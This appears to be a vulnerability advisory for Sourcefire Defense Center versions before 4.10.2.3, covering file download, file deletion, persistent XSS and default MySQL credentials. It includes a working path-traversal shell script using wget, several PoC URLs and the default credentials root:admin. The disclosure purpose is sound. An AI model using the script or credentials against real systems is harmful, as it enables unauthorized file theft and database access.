                                            `-- Product description (from vendor site):  
The Sourcefire Defense Center(R) management console is the "nerve center" of the  
Sourcefire 3D(R) System. It provides a powerful, easy-to-use interface for  
categorizing events, generating recurring reports, scheduling automated IPS,  
NGIPS, and NGFW detection content updates, configuring policies, and displaying  
customizable dashboards to quickly communicate sensor feedback.  
  
  
-- Problem Description:  
The Sourcefire Defense Center(R) versions prior 4.10.2.3 were found to  
be vulnerable to Arbitrary File Download, Deletion of files in a  
specific directory,  
Persistent XSS and database access using default credentials in some  
circumstances.  
  
  
-- Arbitrary File Download #1:  
An unauthenticated attacker is able to download files within the DOCUMENT_ROOT  
(not forbidden by Apache configuration, e.g. tar, yml etc.).  
  
PoC: https://192.168.1.1/pagedata.yml  
CVSS: 4.7 (provided by vendor)  
  
  
-- Arbitrary File Download #2:  
An unauthenticated attacker is able to download files that are  
readable by the Apache  
process, outside of DOCUMENT_ROOT.  
  
PoC: included below  
CVSS: 6.7 (provided by vendor)  
  
-- cut --  
#!/bin/sh  
  
if [ -z $1 ] || [ -z $2 ]; then  
echo "$0 addr file"  
exit  
fi  
  
echo "--+ Arbitrary File Download PoC for Sourcefire 3D Defense Center  
< 4.10.2.3 +--"  
echo ""  
  
which wget &>/dev/null  
if [ $? -ne 0 ]; then  
echo "[!] wget not found."  
exit  
fi  
  
echo "[-] trying to download \"$2\"..."  
echo ""  
wget "https://$1/ComparisonViewer/report.cgi?file=../../../../../$2"  
  
if [ $? -eq 0 ]; then  
echo "[+] file saved."  
else  
echo "[!] file couldn't be saved."  
fi  
-- cut --  
  
  
-- Deletion of files in a specific directory:  
An unathenticated attacker is able to delete files that reside within  
the "/var/tmp/streams" directory. This directory does not exist  
unless the Administrator creates it, and no files are stored there.  
  
PoC: https://192.168.1.1/stream/ack.cgi?POSTDATA=foo  
CVSS: 2.8 (provided by vendor)  
  
  
-- Permanent XSS:  
An authenticated attacker is able to bypass JavaScript validation and send  
direct POST request to the script, which is responsible for renaming the new  
tab in the dashboard. This may result in JavaScript code injection.  
  
PoC: not provided  
CVSS: 2.8 (provided by vendor)  
  
  
-- Database Access using Default Credentials:  
The attacker is able to access database remotely using default credentials  
(root:admin) if only the port 3306 is opened. This password is not meant to be  
changable. In addition, if an administrator has configured RUA functionality  
and authorized the RUA agent to a specific IP address it is then possible to  
use the RUA credentials to elevate MySQL privileges from that specifically  
authorized host.  
  
PoC: not provided  
CVSS: not provided  
  
  
-- Remediation:  
Affected users are encouraged to install updates provied by the vendor.  
The newest release at the time of this writing is 4.10.2.3.
